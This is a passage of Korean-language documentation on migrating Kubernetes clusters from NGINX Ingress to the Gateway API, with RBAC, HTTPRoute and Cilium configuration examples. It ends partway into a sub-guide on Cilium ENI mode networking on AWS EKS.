**1. 3-Tier 역할 분리로 Snippets 원천 차단**
```mermaid
flowchart TB
subgraph cluster["Gateway API 3-Tier 역할 분리"]
direction TB
infra["인프라 팀
(ClusterRole)"]
platform["플랫폼 팀
(Role per NS)"]
app["애플리케이션 팀
(Role per NS)"]
infra -->|"관리"| gc["GatewayClass
(클러스터 스코프)"]
platform -->|"관리"| gw["Gateway
(네임스페이스 스코프)"]
app -->|"관리"| hr["HTTPRoute
(네임스페이스 스코프)"]
end
gc --> gw --> hr
style infra fill:#e53935,color:#fff
style platform fill:#fb8c00,color:#fff
style app fill:#43a047,color:#fff
```
각 팀은 자신의 권한 범위 내에서만 리소스를 관리 — 임의 설정 주입 경로가 원천 차단됩니다.
```yaml
# 인프라 팀: GatewayClass 관리 (클러스터 레벨 권한)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: infrastructure-team
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses"]
verbs: ["create", "update", "delete"]
---
# 플랫폼 팀: Gateway 관리 (네임스페이스 레벨 권한)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: platform-team
namespace: platform-system
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["create", "update", "delete"]
---
# 애플리케이션 팀: HTTPRoute만 관리 (라우팅 규칙만 제어)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-team
namespace: app-namespace
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes"]
verbs: ["create", "update", "delete"]
```
**2. CRD 스키마 기반 구조적 검증**
OpenAPI 스키마로 모든 필드를 사전 정의하여 임의 설정 주입이 원천적으로 불가능합니다:
```mermaid
flowchart LR
subgraph gw["Gateway API 검증 흐름"]
direction TB
crd["HTTPRoute CRD"]
crd -->|"OpenAPI 스키마"| validate["구조적 검증"]
validate -->|"사전 정의 필드만"| safe["안전"]
end
style gw fill:#e8f5e9,stroke:#2e7d32
style safe fill:#66bb6a,color:#fff
```
```yaml
# ✅ Gateway API — 스키마 검증된 필드만 사용
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
spec:
rules:
- matches:
- path:
type: PathPrefix
value: /api
filters:
- type: RequestHeaderModifier # 사전 정의된 필터만 사용 가능
requestHeaderModifier:
add:
- name: X-Custom-Header
value: production
```
**3. Policy Attachment 패턴으로 안전한 확장**
확장 기능을 별도의 Policy 리소스로 분리하여 RBAC으로 접근을 제어합니다:
```mermaid
flowchart TB
gw["Gateway"] --> hr["HTTPRoute"]
hr --> svc["Service
(app: api-gateway)"]
policy["CiliumNetworkPolicy
(별도 Policy 리소스)"]
policy -.->|"RBAC으로
접근 제어"| svc
subgraph policy_detail["Policy 적용 내용"]
direction LR
l7["L7 보안 정책"]
rate["Rate Limiting
(100 req/s)"]
method["HTTP Method 제한
(GET /api/*)"]
end
policy --> policy_detail
style policy fill:#ce93d8,stroke:#7b1fa2
style policy_detail fill:#f3e5f5,stroke:#7b1fa2
```
```yaml
# Cilium의 CiliumNetworkPolicy로 L7 보안 정책 적용
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: api-rate-limiting
spec:
endpointSelector:
matchLabels:
app: api-gateway
ingress:
- fromEndpoints:
- matchLabels:
role: frontend
toPorts:
- ports:
- port: "80"
protocol: TCP
rules:
http:
- method: "GET"
path: "/api/.*"
rateLimit:
requestsPerSecond: 100
```
:::info 활발한 커뮤니티 지원
- **15개 이상의 프로덕션 구현체**: AWS, Google Cloud, Cilium, Envoy, NGINX, Istio 등
- **분기별 정규 릴리스**: v1.4.0 기준 GA 리소스 포함
- **CNCF 공식 프로젝트**: Kubernetes SIG Network 주도 개발
:::
---
## 3. Gateway API — 차세대 트래픽 관리 표준
### 3.1 Gateway API 아키텍처

*출처: [Kubernetes Gateway API 공식 문서](https://gateway-api.sigs.k8s.io/) — 3개의 역할(Infrastructure Provider, Cluster Operator, Application Developer)이 각각 GatewayClass, Gateway, HTTPRoute를 관리*
:::tip 상세 비교
NGINX Ingress와 Gateway API의 아키텍처 비교는 [2.3 취약점의 구조적 해결을 위한 Gateway API 도입](#23-취약점의-구조적-해결을-위한-gateway-api-도입)에서 탭별로 확인할 수 있습니다.
:::
### 3.2 3-Tier 리소스 모델
Gateway API는 다음과 같은 계층 구조로 책임을 분리합니다:

*출처: [Kubernetes Gateway API 공식 문서](https://gateway-api.sigs.k8s.io/concepts/api-overview/) — GatewayClass → Gateway → xRoute → Service 계층 구조*
**인프라 팀: GatewayClass 전용 권한 (ClusterRole)**
GatewayClass는 클러스터 스코프 리소스로, 인프라 팀만 생성/변경할 수 있습니다. 컨트롤러 선택과 전역 정책을 담당합니다.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: infrastructure-gateway-manager
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
```
**플랫폼 팀: Gateway 관리 권한 (Role — 네임스페이스 스코프)**
Gateway는 네임스페이스 스코프 리소스로, 플랫폼 팀이 리스너 구성, TLS 인증서, 로드밸런서 설정을 관리합니다.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: platform-gateway-manager
namespace: gateway-system
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["secrets"] # TLS 인증서 관리
verbs: ["get", "list"]
```
**애플리케이션 팀: HTTPRoute만 관리 (Role — 네임스페이스 스코프)**
애플리케이션 팀은 자신의 네임스페이스에서 HTTPRoute와 ReferenceGrant만 관리합니다. GatewayClass나 Gateway에는 접근할 수 없습니다.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-route-manager
namespace: production-app
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes", "referencegrants"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["services"]
verbs: ["get", "list"]
```
### 3.3 GA 현황 (v1.4.0)
Gateway API는 Standard Channel과 Experimental Channel로 나뉘며, 리소스별 성숙도가 다릅니다:
:::warning Experimental 채널 주의사항
Alpha 상태의 리소스는 **API 호환성 보장이 없으며**, 마이너 버전 업그레이드 시 필드 변경 또는 삭제 가능성이 있습니다. 프로덕션 환경에서는 Standard 채널의 GA/Beta 리소스만 사용하는 것을 권장합니다.
:::
### 3.4 핵심 이점
Gateway API의 6가지 핵심 이점을 시각적 다이어그램과 YAML 예제로 살펴봅니다.
### 3.5 기본 리소스 예제
실제 프로덕션 환경에서 사용하는 Gateway API 리소스 배포 순서입니다:
```mermaid
flowchart LR
step1["Step 1
GatewayClass
(인프라 팀)"]
step2["Step 2
Gateway
(플랫폼 팀)"]
step3["Step 3
HTTPRoute
(앱 팀)"]
step4["Step 4
ReferenceGrant
(크로스 NS)"]
step5["Step 5
배포 및 검증"]
step1 --> step2 --> step3
step2 --> step4
step3 --> step5
step4 --> step5
style step1 fill:#e53935,color:#fff
style step2 fill:#fb8c00,color:#fff
style step3 fill:#43a047,color:#fff
style step4 fill:#1e88e5,color:#fff
style step5 fill:#8e24aa,color:#fff
```
Gateway API 리소스는 역할별로 분리 배포됩니다. 인프라 팀이 GatewayClass를, 플랫폼 팀이 Gateway를, 앱 팀이 HTTPRoute를 각각 관리합니다.
**GatewayClass 정의 (인프라 팀)**
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
name: aws-network-load-balancer
spec:
controllerName: aws.gateway.networking.k8s.io
description: "AWS Network Load Balancer with PrivateLink support"
parametersRef:
group: elbv2.k8s.aws
kind: TargetGroupPolicy
name: nlb-performance-profile
```
**Gateway 생성 (플랫폼 팀)**
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: production-gateway
namespace: gateway-system
annotations:
# AWS NLB 전용 어노테이션
service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
service.beta.kubernetes.io/aws-load-balancer-scheme: "internet-facing"
service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled: "true"
service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: "ip"
spec:
gatewayClassName: aws-network-load-balancer
listeners:
# HTTP Listener (자동 HTTPS 리다이렉트)
- name: http
protocol: HTTP
port: 80
# HTTPS Listener (ACM 인증서)
- name: https
protocol: HTTPS
port: 443
tls:
mode: Terminate
certificateRefs:
- kind: Secret
name: acm-certificate
namespace: gateway-system
allowedRoutes:
namespaces:
from: All # 모든 네임스페이스의 HTTPRoute 허용
```
**HTTPRoute 설정 (애플리케이션 팀)**
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: backend-api
namespace: production-app
spec:
parentRefs:
- name: production-gateway
namespace: gateway-system
sectionName: https
hostnames:
- "api.example.com"
rules:
# Canary 배포 (90% v1, 10% v2)
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- name: backend-v1
port: 8080
weight: 90
- name: backend-v2
port: 8080
weight: 10
filters:
# 헤더 추가
- type: RequestHeaderModifier
requestHeaderModifier:
add:
- name: X-Backend-Version
value: canary
# URL Rewrite
- type: URLRewrite
urlRewrite:
path:
type: ReplacePrefixMatch
replacePrefixMatch: /v1/api
```
**ReferenceGrant (크로스 네임스페이스 참조)**
```yaml
# gateway-system 네임스페이스의 Gateway를 다른 네임스페이스에서 참조 허용
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-httproutes-from-all
namespace: gateway-system
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: production-app
to:
- group: gateway.networking.k8s.io
kind: Gateway
name: production-gateway
```
**배포 및 검증**
```bash
# 리소스 배포
kubectl apply -f gatewayclass.yaml
kubectl apply -f gateway.yaml
kubectl apply -f referencegrant.yaml
kubectl apply -f httproute.yaml
# Gateway 상태 확인
kubectl get gateway production-gateway -n gateway-system
# NAME CLASS ADDRESS PROGRAMMED AGE
# production-gateway aws-network-load-balancer a1b2c3.elb.aws True 5m
# HTTPRoute 상태 확인
kubectl get httproute backend-api -n production-app
# NAME HOSTNAMES AGE
# backend-api ["api.example.com"] 2m
# Gateway 주소 확인
kubectl get gateway production-gateway -n gateway-system \
-o jsonpath='{.status.addresses[0].value}'
# 트래픽 테스트 (Canary 비율 확인)
for i in {1..100}; do
curl -s https://api.example.com/api/health | jq -r '.version'
done | sort | uniq -c
# 출력 예시:
# 90 v1
# 10 v2
```
:::tip 네이티브 Canary 배포
Gateway API는 `weight` 필드를 통해 어노테이션 없이 Canary 배포를 지원합니다. NGINX Ingress의 `nginx.ingress.kubernetes.io/canary` 어노테이션 조합보다 간결하고 이식성이 높습니다.
:::
## 4. Gateway API 구현체 비교 - AWS Native vs Open Source
이 섹션에서는 6가지 주요 Gateway API 구현체를 상세히 비교합니다. 각 솔루션의 특징, 강점, 약점을 파악하여 조직에 최적의 선택을 할 수 있도록 돕습니다.
:::note Kong의 위치 — 정책 모델과 AI Gateway 구분
Kong은 OpenResty(NGINX + Lua) 기반의 성숙한 API 게이트웨이로, KIC(Kong Ingress Controller)가 Gateway API Standard 채널의 Core 수준에 적합(conformant)합니다. 다만 인증·Rate Limiting·IP 제어 등 대부분의 L7 정책은 Gateway API 네이티브 리소스가 아닌 **KongPlugin CRD**로 구현합니다(100+ 플러그인 생태계). 또한 Kong의 **AI Gateway**는 외부 LLM 프로바이더를 프록시하는 **LLM API 게이트웨이**로, 이 가이드가 다루는 클러스터 내 추론 Pod 라우팅(Gateway API Inference Extension, kgateway 계열)과는 **다른 계층**입니다. 표에서는 이 구분을 명시적으로 반영합니다.
:::
### 4.1 솔루션 한눈에 보기
상세 비교에 들어가기 전에, 6개 솔루션의 데이터플레인·적합 시나리오·강점·주의점을 카드로 요약합니다. 큰 그림을 먼저 파악한 뒤 아래 매트릭스에서 세부 항목을 확인하는 순서를 권장합니다.
### 4.2 솔루션 개요 비교
다음 매트릭스는 6가지 Gateway API 구현체의 핵심 특징, 제약사항, 적합한 사용 사례를 비교합니다.
### 4.3 기능 비교 매트릭스
다음은 6가지 솔루션의 종합 비교표입니다. 이 표를 통해 각 솔루션의 강점과 약점을 한눈에 파악할 수 있습니다.
### 4.4 NGINX 기능 매핑
NGINX Ingress Controller에서 사용하던 8가지 주요 기능을 각 Gateway API 구현체에서 어떻게 구현하는지 비교합니다.
**범례**:
- ✅ 네이티브 지원 (별도 도구 불필요)
- ⚠️ 부분 지원 또는 추가 설정 필요
- ❌ 미지원 (별도 솔루션 필요)
### 4.5 구현 난이도 비교
### 4.6 비용 영향 분석
:::tip 비용 최적화 팁
- **WAF 기능이 3개 이상 필요하면** AWS Native가 비용 대비 효율적입니다. 단일 WebACL에 여러 규칙을 묶어 관리할 수 있습니다
- **1-2개만 필요하면** 오픈소스 솔루션(Cilium, Envoy Gateway)에서 추가 비용 없이 구현 가능합니다
- **성능 민감 워크로드**는 오픈소스가 유리합니다. WAF 규칙 평가 지연 없이 커널/eBPF 레벨에서 처리됩니다
- **Lambda Authorizer 사용 시** 콜드스타트로 인한 p99 지연 급증에 주의하세요. Provisioned Concurrency 설정을 검토하세요
:::
### 4.7 기능별 구현 코드 예제
다음 8가지 기능을 6개 구현체별 YAML 예제로 구현하는 방법은 별도 쿡북 문서로 제공합니다. 본 가이드는 비교·선정에 집중하고, 실제 매니페스트는 쿡북에서 참조하세요.
| # | 기능 | 표준 여부 |
|---|------|----------|
| 1 | 인증 (Basic Auth 대체) | 구현체별 상이 |
| 2 | Rate Limiting | 구현체별 상이 |
| 3 | IP 제어 (IP Allowlist) | 구현체별 상이 |
| 4 | URL Rewrite | Gateway API v1 표준 |
| 5 | Header 조작 | Gateway API v1 표준 |
| 6 | 세션 어피니티 (Cookie-based) | 구현체별 상이 |
| 7 | 요청 본문 크기 제한 | 구현체별 상이 |
| 8 | 커스텀 에러 페이지 | 구현체별 상이 |
:::tip 구현 예제 전체 보기
각 기능의 AWS LBC·Cilium·NGINX GF·Envoy Gateway·kGateway별 YAML 매니페스트는 **[기능별 구현 쿡북](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/feature-implementation-cookbook)**에서 확인하세요.
:::
### 4.8 경로 선택 의사결정 트리
다음 의사결정 트리를 통해 조직에 최적의 솔루션을 선택할 수 있습니다.
```mermaid
flowchart TD
start([마이그레이션 시작]) --> q1{AWS 서비스 통합이
핵심인가?}
q1 -->|Yes| q2{운영 부담
최소화 필요?}
q1 -->|No| q3{서비스 메시
계획 있는가?}
q2 -->|Yes| aws["✅ AWS Native
(LBC v3 + ALB)"]
q2 -->|No| q4{고성능 eBPF
필요한가?}
q4 -->|Yes| cilium["✅ Cilium
Gateway API"]
q4 -->|No| aws
q3 -->|Yes| q5{AI/ML 워크로드
라우팅 필요?}
q3 -->|No| q8{기존 Kong/API 관리 자산
또는 외부 LLM API 프록시?}
q5 -->|Yes| q5a{클러스터 내 추론 Pod
vs 외부 LLM API?}
q5 -->|No| q7{Istio 계획
있는가?}
q5a -->|"클러스터 내 Pod"| kgw["✅ kGateway
(Inference Extension)"]
q5a -->|"외부 LLM API"| kong["✅ Kong
(AI Gateway)"]
q7 -->|Yes| envoy["✅ Envoy Gateway"]
q7 -->|No| cilium
q8 -->|Yes| kong
q8 -->|No| q6{NGINX 경험
활용 필요?}
q6 -->|Yes| nginx["✅ NGINX Gateway
Fabric"]
q6 -->|No| envoy
style start fill:#f5f5f5,stroke:#333
style aws fill:#e6ffe6,stroke:#009900
style cilium fill:#e6f3ff,stroke:#0066cc
style nginx fill:#fff0e6,stroke:#cc6600
style envoy fill:#ffe6e6,stroke:#cc0000
style kgw fill:#f0e6ff,stroke:#6600cc
style kong fill:#e0f7f5,stroke:#00b9aa
```
### 4.9 시나리오별 권장 경로
다음은 일반적인 조직 시나리오에 따른 권장 솔루션입니다.
---
## 5. 벤치마크 비교 계획
6개 Gateway API 구현체의 객관적인 성능 비교를 위한 체계적인 벤치마크를 계획하고 있습니다. 처리량, 레이턴시, TLS 성능, L7 라우팅, 스케일링, 리소스 효율성, 장애 복구, gRPC 등 8개 시나리오를 동일한 EKS 환경에서 측정합니다.
:::info 벤치마크 상세 계획
테스트 환경 설계, 시나리오 상세, 측정 지표 및 실행 계획은 **[Gateway API 구현체 성능 벤치마크 계획](/docs/benchmarks/gateway-api-benchmark)**에서 확인할 수 있습니다.
:::
---
## 6. 결론 및 향후 로드맵
### 6.1 결론
위 표를 기반으로 조직 환경에 맞는 솔루션을 선택하세요.
**AWS Native (LBC v3)** — 운영 부담 최소화, ALB/NLB 관리형 특성 활용, SLA 보장, AWS WAF/Shield/ACM 통합. 성능보다 안정성과 자동 스케일링이 중요한 환경에 최적.
**Cilium Gateway API** — 초저지연 (P99 10ms 미만), eBPF 기반 네트워킹, Hubble L7 가시성, ENI 모드 VPC 네이티브 통합. 고성능과 서비스 메시 통합이 필요한 환경에 최적.
**NGINX Gateway Fabric** — 기존 NGINX 지식 활용, 검증된 안정성, F5 엔터프라이즈 지원, 멀티클라우드. 빠른 전환이 필요한 NGINX 경험 팀에 최적.
**Envoy Gateway** — CNCF 표준, Istio 호환, 풍부한 L7 기능 (mTLS, ExtAuth, Rate Limiting, Circuit Breaking). 서비스 메시 확장 계획이 있는 환경에 최적.
**kGateway** — 통합 게이트웨이 (API+메시+AI+MCP), AI/ML 워크로드 라우팅, Solo.io 엔터프라이즈 지원. AI/ML 특화 라우팅이 필요한 환경에 최적.
**Kong** — OpenResty(NGINX + Lua) 기반, 100+ KongPlugin 생태계, 엔터프라이즈 24x7 지원(Enterprise/Konnect). 풍부한 플러그인 기반 API 관리와 기존 Kong 자산을 활용하는 환경에 최적. Kong AI Gateway는 외부 LLM 프로바이더를 프록시하는 LLM API 게이트웨이로, 클러스터 내 추론 Pod 라우팅(kgateway 계열)과는 용도가 구분됩니다. 대부분의 L7 정책이 Gateway API 네이티브가 아닌 KongPlugin으로 구성되는 점을 고려해야 합니다.
**Cilium Gateway API + llm-d** — EKS Hybrid Nodes로 클라우드와 온프레미스 GPU 노드를 통합 운영하는 경우, Cilium을 단일 CNI로 사용하면 CNI 단일화 + Hubble 통합 관측성 + Gateway API 내장의 이점을 확보할 수 있습니다. AI 추론 트래픽은 llm-d가 KV Cache-aware 라우팅으로 최적화합니다. 자세한 내용은 [Cilium ENI + Gateway API 심화 가이드 — 섹션 9](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/cilium-eni-gateway-api#9-하이브리드-노드-아키텍처와-aiml-워크로드)를 참조하세요.
### 6.2 향후 확장 로드맵
### 6.3 핵심 메시지
:::info
**2026년 3월 NGINX Ingress EOL 이전에 마이그레이션을 완료하여 보안 위협을 원천 차단하세요.**
Gateway API는 단순한 Ingress 대체가 아닌, 클라우드 네이티브 트래픽 관리의 미래입니다.
- **역할 분리**: 플랫폼 팀과 개발 팀의 명확한 책임 분리
- **표준화**: 벤더 종속성 없는 이식 가능한 구성
- **확장성**: East-West, 서비스 메시, AI 통합까지 확장
:::
**지금 시작하세요:**
1. 현재 Ingress 인벤토리 수집 — [마이그레이션 실행 전략](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/migration-execution-strategy) 참조
2. 워크로드에 맞는 솔루션 선택 (섹션 4)
3. PoC 환경 구축 — [마이그레이션 실행 전략](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/migration-execution-strategy) 참조
4. 점진적 마이그레이션 실행 — [마이그레이션 실행 전략](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/migration-execution-strategy) 참조
**추가 리소스:**
- [Gateway API 공식 문서](https://gateway-api.sigs.k8s.io/)
- [Cilium 공식 문서](https://docs.cilium.io/)
- [NGINX Gateway Fabric](https://docs.nginx.com/nginx-gateway-fabric/)
- [Envoy Gateway](https://gateway.envoyproxy.io/)
- [Kong Ingress Controller](https://developer.konghq.com/kubernetes-ingress-controller/)
- [AWS Load Balancer Controller](https://kubernetes-sigs.github.io/aws-load-balancer-controller/)
---
## 관련 문서
### 하위 문서 (심화 가이드)
이 가이드의 주제별 심화 내용은 별도 하위 문서로 제공됩니다.
- **[1. Cilium ENI 모드 + Gateway API 심화 구성](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/cilium-eni-gateway-api)** — ENI 모드 아키텍처, 설치/구성, 성능 최적화(eBPF, XDP), Hubble 관측성, BGP Control Plane v2, 하이브리드 노드 아키텍처
- **[2. 마이그레이션 실행 전략](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/migration-execution-strategy)** — 5-Phase 마이그레이션 프로세스, CRD 설치, 검증 스크립트, 트러블슈팅 가이드
- **[3. 기능별 구현 쿡북](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/feature-implementation-cookbook)** — 인증·Rate Limiting·IP 제어·URL Rewrite·헤더·세션 어피니티·본문 크기·에러 페이지를 6개 구현체별 YAML로 구현하는 레퍼런스
### 관련 문서 (서비스 메시)
East-West(서비스 간) 트래픽으로의 확장은 별도 서비스 메시 카테고리에서 다룹니다.
- **[서비스 메시 비교 가이드](/docs/eks-best-practices/networking-performance/service-mesh)** — Istio·Cilium·Linkerd·VPC Lattice 아키텍처·기능·운영 비교, App Mesh EOL 마이그레이션
- **[GAMMA Initiative — 서비스 메시 통합의 미래](/docs/eks-best-practices/networking-performance/service-mesh/gamma-initiative)** — GAMMA 개요, East-West 트래픽 관리, 구현체별 지원 현황
### 관련 문서 (Agentic AI 플랫폼)
- **[티어드 게이트웨이 아키텍처](/docs/agentic-ai-platform/model-serving/inference-routing/tiered-gateway-architecture)** — Tier 1(이 문서)·Tier 2 ①추론 라우팅·②LLM API 게이트웨이·Agent Data Plane의 전체 지도와 용어 정의(단일 정의처)
- **[추론 게이트웨이 레퍼런스](/docs/agentic-ai-platform/reference-architecture/inference-gateway)** — Agentic 워크로드를 위한 Tier 2 추론 게이트웨이 계층(KV 캐시 인지 라우팅, 모델 엔드포인트 관리). 이 문서(Tier 1 범용 게이트웨이)와 함께 2-Tier로 구성
- **[Inference Gateway 배포 가이드](/docs/agentic-ai-platform/reference-architecture/inference-gateway/setup)** — 추론 게이트웨이 Helm 배포·HTTPRoute·OTel 구성
### 관련 카테고리
- [2. CoreDNS 모니터링 & 최적화](/docs/eks-best-practices/networking-performance/coredns-monitoring-optimization)
- [3. East-West 트래픽 최적화](/docs/eks-best-practices/networking-performance/east-west-traffic-best-practice)
- [4. Karpenter 초고속 오토스케일링](/docs/eks-best-practices/resource-cost/karpenter-autoscaling)
### 외부 참고 자료
- [Kubernetes Gateway API 공식 문서](https://gateway-api.sigs.k8s.io/)
- [Gateway API Inference Extension](https://gateway-api-inference-extension.sigs.k8s.io/)
- [AWS Load Balancer Controller](https://kubernetes-sigs.github.io/aws-load-balancer-controller/)
- [Cilium Gateway API 문서](https://docs.cilium.io/en/stable/network/servicemesh/gateway-api/gateway-api/)
- [Kong Ingress Controller](https://developer.konghq.com/kubernetes-ingress-controller/)
---
# Cilium ENI 모드 + Gateway API 심화 구성
> Cilium ENI 모드 아키텍처, Gateway API 리소스 구성, 성능 최적화, Hubble 관측성, BGP Control Plane v2 심화 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/cilium-eni-gateway-api
Category: EKS Best Practices
Last updated: 2026-06-28
Author: YoungJoon Jeong
Tags: eks, cilium, eni, gateway-api, ebpf, networking, bgp
import Tabs from '@theme/Tabs';
import TabItem from '@theme/TabItem';
import { EksRequirementsTable, InstanceTypeTable, LatencyComparisonTable, AlgorithmComparisonTable } from '@site/src/components/GatewayApiTables';
:::info
이 문서는 [Gateway API 도입 가이드](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide)의 심화 가이드입니다. Cilium ENI 모드와 Gateway API를 결합한 고성능 네트워킹 구성에 대한 실전 가이드를 제공합니다.
:::
Cilium ENI 모드는 AWS의 Elastic Network Interface를 직접 활용하여 파드에 VPC IP 주소를 할당하는 고성능 네트워킹 솔루션입니다. Gateway API와 결합하면 표준화된 L7 라우팅과 eBPF 기반 초저지연 처리를 동시에 달성할 수 있습니다.
## 1. Cilium ENI 모드란?
Cilium ENI 모드는 AWS의 Elastic Network Interface를 직접 활용하여 파드에 VPC IP 주소를 할당하는 고성능 네트워킹 솔루션입니다. 전통적인 오버레이 네트워크와 달리, ENI 모드는 다음과 같은 특징을 제공합니다.
### 핵심 특징
**AWS ENI 직접 사용**
각 파드가 VPC의 실제 IP 주소를 직접 할당받아 AWS 네트워크 스택과 완전히 통합됩니다. 이를 통해 Security Groups, NACLs, VPC Flow Logs 등 AWS 네이티브 네트워킹 기능을 파드 레벨에서 직접 활용할 수 있습니다.
**eBPF 기반 고성능 네트워킹**
Cilium은 리눅스 커널의 eBPF(extended Berkeley Packet Filter) 기술을 활용하여 패킷 처리를 커널 레벨에서 수행합니다. 이는 전통적인 iptables 기반 솔루션 대비 10배 이상의 성능 향상을 제공하며, CPU 오버헤드를 최소화합니다.
```mermaid
graph TB
subgraph "Traditional iptables"
A[Packet] --> B[Netfilter Hooks]
B --> C[iptables Rules]
C --> D[Chain Traversal]
D --> E[Target Action]
E --> F[Packet Out]
end
subgraph "Cilium eBPF"
G[Packet] --> H[XDP Hook]
H --> I[eBPF Program]
I --> J[Direct Action]
J --> K[Packet Out]
end
style I fill:#00D4AA
style D fill:#FF6B6B
```
**네이티브 라우팅 (오버레이 오버헤드 제거)**
VXLAN이나 Geneve와 같은 오버레이 캡슐화를 사용하지 않고, VPC 라우팅 테이블을 직접 활용합니다. 이를 통해 네트워크 홉을 최소화하고 MTU 문제를 원천적으로 방지합니다.
:::tip
Cilium ENI 모드는 AWS EKS에서 최고 성능을 달성하기 위한 권장 구성입니다. Datadog의 벤치마크에 따르면, ENI 모드는 오버레이 모드 대비 레이턴시를 40% 감소시키고 처리량을 35% 향상시킵니다.
:::
## 2. 아키텍처 오버뷰
Cilium ENI 모드와 Gateway API를 결합한 아키텍처는 다음과 같이 구성됩니다.
```mermaid
graph LR
subgraph "AWS Cloud"
NLB[Network Load Balancer
L4 트래픽 분산]
subgraph "EKS Cluster"
subgraph "Worker Node 1"
TPROXY1[eBPF TPROXY
투명 프록시]
ENVOY1[Cilium Envoy
L7 Gateway]
POD1A[Pod A
ENI IP: 10.0.1.10]
POD1B[Pod B
ENI IP: 10.0.1.11]
TPROXY1 --> ENVOY1
ENVOY1 --> POD1A
ENVOY1 --> POD1B
end
subgraph "Worker Node 2"
TPROXY2[eBPF TPROXY]
ENVOY2[Cilium Envoy]
POD2A[Pod C
ENI IP: 10.0.2.10]
POD2B[Pod D
ENI IP: 10.0.2.11]
TPROXY2 --> ENVOY2
ENVOY2 --> POD2A
ENVOY2 --> POD2B
end
OPERATOR[Cilium Operator
ENI 할당 관리]
AGENT1[Cilium Agent
eBPF 프로그램 로드]
AGENT2[Cilium Agent]
OPERATOR -.->|ENI 생성/삭제| AGENT1
OPERATOR -.->|ENI 생성/삭제| AGENT2
end
ENI1[(ENI Pool
Node 1)]
ENI2[(ENI Pool
Node 2)]
NLB -->|TCP 443| TPROXY1
NLB -->|TCP 443| TPROXY2
ENI1 -.->|IP 할당| POD1A
ENI1 -.->|IP 할당| POD1B
ENI2 -.->|IP 할당| POD2A
ENI2 -.->|IP 할당| POD2B
end
CLIENT[Client] -->|HTTPS| NLB
HUBBLE[Hubble Relay
관측성 집계] -.->|모니터링| AGENT1
HUBBLE -.->|모니터링| AGENT2
style NLB fill:#FF9900
style TPROXY1 fill:#00D4AA
style TPROXY2 fill:#00D4AA
style ENVOY1 fill:#AC58E6
style ENVOY2 fill:#AC58E6
style OPERATOR fill:#5E35B1
style HUBBLE fill:#00BFA5
```
### 주요 구성 요소
**1. Network Load Balancer (NLB)**
- AWS의 관리형 L4 로드밸런서
- 극히 낮은 레이턴시 (마이크로초 단위)
- Cross-Zone Load Balancing 지원
- Static IP 또는 Elastic IP 할당 가능
- TLS 패스스루 모드 지원
**2. eBPF TPROXY (Transparent Proxy)**
- XDP (eXpress Data Path) 계층에서 패킷 가로채기
- 커널 우회를 통한 초저지연 처리
- 연결 추적 테이블을 eBPF 맵으로 관리
- CPU 코어당 독립적인 처리 (락 없는 설계)
**3. Cilium Envoy (L7 Gateway)**
- Envoy Proxy 기반 L7 처리 엔진
- HTTPRoute, TLSRoute 등 Gateway API 리소스 구현
- 동적 리스너/라우트 구성 (xDS API)
- 요청/응답 변환, 헤더 조작, rate limiting
**4. Cilium Operator**
- ENI 생성 및 삭제 오케스트레이션
- IP 주소 풀 관리 (Prefix Delegation 포함)
- 클러스터 전체 정책 동기화
- CiliumNode CRD 상태 관리
**5. Cilium Agent (DaemonSet)**
- 각 노드에서 eBPF 프로그램 로드 및 관리
- CNI 플러그인 구현
- 엔드포인트 상태 추적
- 네트워크 정책 적용
**6. ENI (Elastic Network Interface)**
- AWS VPC 네트워크 인터페이스
- 인스턴스 타입별 최대 ENI 수 제한 (예: m5.large = 3개)
- ENI당 최대 IP 수 제한 (예: m5.large = 10개/ENI)
- Prefix Delegation 사용 시 ENI당 최대 16개 /28 블록
**7. Hubble (Observability)**
- 네트워크 플로우 실시간 가시화
- 서비스 간 의존성 맵 자동 생성
- L7 프로토콜 가시성 (HTTP, gRPC, Kafka, DNS)
- Prometheus 메트릭 내보내기
### 트래픽 흐름 4단계
```mermaid
sequenceDiagram
participant C as Client
participant NLB as NLB
participant TPROXY as eBPF TPROXY
participant ENVOY as Cilium Envoy
participant POD as Backend Pod
Note over C,POD: 1. L4 로드밸런싱
C->>NLB: TCP SYN (443)
